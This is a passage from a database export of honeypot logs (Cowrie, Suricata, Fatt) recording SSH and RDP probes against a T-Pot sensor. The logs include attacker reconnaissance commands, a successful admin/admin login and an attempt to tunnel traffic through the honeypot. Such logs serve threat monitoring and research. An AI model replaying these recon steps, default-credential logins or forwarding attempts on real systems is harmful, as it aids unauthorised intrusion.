progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.29.105.26", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.29.105.26", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 342366514296299, "payload": "AAAAVC4eAAAAIIO6pPGNdtSIYT94XsLmrcAceCsY8RYgCcz67raiFGMKMNT/URws1wHj/o/beDJb2J2L7pHbiNEy2zZ89/aH+HEeOcCNneKDrrHk/F4AJw==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52360, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:03:19.729664Z", "@timestamp": "2021-09-20T11:03:19.729Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... .....v..a?x^.....x+... .......c\\n0..Q.,......x2[........2.6|....q.9.........^.'"}}	1	\N	\N	alert	\N	\N
20067	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:19.373449+03	2021-09-20 14:15:01.908613+03	{"_id": "yQXfAnwBvYTbRNuE5fdw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:19.373449Z", "@timestamp": "2021-09-20T11:03:19.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20068	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:19.49006+03	2021-09-20 14:15:01.909613+03	{"_id": "zQXfAnwBvYTbRNuE5fdx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.29.105.26", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52360, "timestamp": "2021-09-20T11:03:19.490060", "@timestamp": "2021-09-20T11:03:19.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20069	8.29.105.26	109.199.241.180	Fatt	2021-09-20 14:03:19.729585+03	2021-09-20 14:15:01.910612+03	{"_id": "zgXfAnwBvYTbRNuE5fdx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.29.105.26", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.29.105.26", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.68.99.1134321", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 52360, "dest_port": 22, "timestamp": "2021-09-20T11:03:19.729585", "@timestamp": "2021-09-20T11:03:19.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20070	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:19.373984+03	2021-09-20 14:15:01.911612+03	{"_id": "zwXfAnwBvYTbRNuE5fdx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:19.373984Z", "@timestamp": "2021-09-20T11:03:19.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20071	8.29.105.26	109.199.241.180	Cowrie	2021-09-20 14:03:19.487749+03	2021-09-20 14:15:01.912612+03	{"_id": "0AXfAnwBvYTbRNuE5fdx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.29.105.26", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.29.105.26", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.68.99.1134321'", "session": "71929d32c834", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.68.99.1134321'", "@version": "1", "timestamp": "2021-09-20T11:03:19.487749Z", "@timestamp": "2021-09-20T11:03:19.487Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20072	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:19.929491+03	2021-09-20 14:15:01.913612+03	{"_id": "0QXfAnwBvYTbRNuE5fdx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "81.71.17.12", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5561263561248779, "duplicate": true, "timestamp": "2021-09-20T11:03:19.929491Z", "@timestamp": "2021-09-20T11:03:19.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20073	8.9.231.227	109.199.241.180	Suricata	2021-09-20 14:03:20.535235+03	2021-09-20 14:15:01.914613+03	{"_id": "1AXfAnwBvYTbRNuE6Pc7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.53.57.8452213109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.9.231.227", "dest_ip": "192.168.20.116", "flow_id": 1394408016084009, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57191, "dest_port": 22, "timestamp": "2021-09-20T11:03:20.535235Z", "@timestamp": "2021-09-20T11:03:20.535Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20074	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:21.289279+03	2021-09-20 14:15:01.915613+03	{"_id": "5AXfAnwBvYTbRNuE7Pf3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:21.289279Z", "@timestamp": "2021-09-20T11:03:21.289Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20075	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:03:21.342217+03	2021-09-20 14:15:01.916612+03	{"_id": "5QXfAnwBvYTbRNuE7Pf3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "eventid": "cowrie.login.success", "message": "login attempt [admin/admin] succeeded", "session": "ba384fdfbf58", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:03:21.342217Z", "@timestamp": "2021-09-20T11:03:21.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
20076	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:22.794462+03	2021-09-20 14:15:01.928613+03	{"_id": "6AXfAnwBvYTbRNuE8Pfh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "81.71.17.12", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5709099769592285, "duplicate": true, "timestamp": "2021-09-20T11:03:22.794462Z", "@timestamp": "2021-09-20T11:03:22.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20077	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:22.224187+03	2021-09-20 14:15:01.929613+03	{"_id": "7AXfAnwBvYTbRNuE8fco", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:22.224187Z", "@timestamp": "2021-09-20T11:03:22.224Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20078	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:22.223634+03	2021-09-20 14:15:01.930612+03	{"_id": "7QXfAnwBvYTbRNuE8fco", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:22.223634Z", "@timestamp": "2021-09-20T11:03:22.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20079	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:03:23.104772+03	2021-09-20 14:15:01.931612+03	{"_id": "8gXfAnwBvYTbRNuE8_f1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:03:22.755088+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 511345560290704, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64530, "dest_port": 3389, "timestamp": "2021-09-20T11:03:23.104772Z", "@timestamp": "2021-09-20T11:03:23.104Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20080	8.29.105.26	109.199.241.180	Cowrie	2021-09-20 14:03:25.027193+03	2021-09-20 14:15:01.933613+03	{"_id": "_wXfAnwBvYTbRNuE_Pea", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.29.105.26", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.29.105.26", "dest_ip": "172.67.199.171", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 172.67.199.171:443 from 127.0.0.1:52877", "session": "71929d32c834", "@version": "1", "src_port": 52877, "dest_port": 443, "timestamp": "2021-09-20T11:03:25.027193Z", "@timestamp": "2021-09-20T11:03:25.027Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
20081	8.29.105.26	109.199.241.180	Cowrie	2021-09-20 14:03:25.271483+03	2021-09-20 14:15:01.934613+03	{"_id": "AwXfAnwBvYTbRNuE_Pib", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b\\"\\\\x16\\\\x03\\\\x01\\\\x02\\\\x00\\\\x01\\\\x00\\\\x01\\\\xfc\\\\x03\\\\x03\\\\x8e R\\\\x7f\\\\xc1\\\\xcf\\\\x06\\\\xb1~:\\\\xca\\\\x8e\\\\xf9\\\\xac\\\\xb5\\\\x82'+\\\\xeflC@\\\\x02\\\\x1d\\\\xb5\\\\x1b\\\\x86\\\\xf0@\\\\x8e!\\\\x11 \\\\xe8\\\\x08Z\\\\xd9\\\\x9aio \\\\x9e\\\\xd8\\\\xa20)\\\\xd5\\\\x8a\\\\x0c3^M\\\\xb9\\\\xfc<>[\\\\x10+\\\\xb1\\\\xa1\\\\xe1o\\\\x90\\\\xa1\\\\x00\\\\x1c\\\\x13\\\\x01\\\\x13\\\\x03\\\\x13\\\\x02\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x01\\\\x97\\\\x00\\\\x00\\\\x00\\\\x0f\\\\x00\\\\r\\\\x00\\\\x00\\\\nyiopse.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x01\\\\x00\\\\x01\\\\x01\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x003\\\\x00k\\\\x00i\\\\x00\\\\x1d\\\\x00 \\\\xbf\\\\xf8\\\\xcf6\\\\x1a\\\\xff\\\\xa4\\\\x8fH\\\\r\\\\xe4S\\\\xb2_a\\\\xf5\\\\xfc\\\\xbb\\\\xc3\\\\xd3\\\\xeb\\\\xff)\\\\xa0\\\\xae^QK\\\\x94\\\\xef\\\\xe2x\\\\x00\\\\x17\\\\x00A\\\\x04_m\\\\xd3\\\\x88\\\\xfd\\\\xe1\\\\x12\\\\x0b\\\\x02V\\\\x95\\\\xc2\\\\xe3A\\\\x81.\\\\xc5\\\\x95\\\\x0b\\\\x9d#3\\\\x0b\\\\x0e\\\\xaa;\\\\x86\\\\xf6\\\\xe2\\\\x1e\\\\xa4\\\\xc3\\\\xc5\\\\xa9\\\\x19\\\\xd2d\\\\xca4\\\\x82\\\\xa6\\\\xa0\\\\x04s\\\\xe3\\\\x98V\\\\x10\\\\x0c\\\\xcf\\\\x11\\\\x92\\\\xaa\\\\xb3\\\\x19\\\\x87\\\\xdc\\\\xfcn\\\\xd2m(\\\\x99w\\\\x00+\\\\x00\\\\t\\\\x08\\\\x7f\\\\x17\\\\x03\\\\x03\\\\x03\\\\x02\\\\x03\\\\x01\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01\\\\x00-\\\\x00\\\\x02\\\\x01\\\\x01\\\\x00\\\\x15\\\\x00\\\\xa2\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\"", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.29.105.26", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.29.105.26", "dest_ip": "172.67.199.171", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to 172.67.199.171:443 with data b\\"\\\\x16\\\\x03\\\\x01\\\\x02\\\\x00\\\\x01\\\\x00\\\\x01\\\\xfc\\\\x03\\\\x03\\\\x8e R\\\\x7f\\\\xc1\\\\xcf\\\\x06\\\\xb1~:\\\\xca\\\\x8e\\\\xf9\\\\xac\\\\xb5\\\\x82'+\\\\xeflC@\\\\x02\\\\x1d\\\\xb5\\\\x1b\\\\x86\\\\xf0@\\\\x8e!\\\\x11 \\\\xe8\\\\x08Z\\\\xd9\\\\x9aio 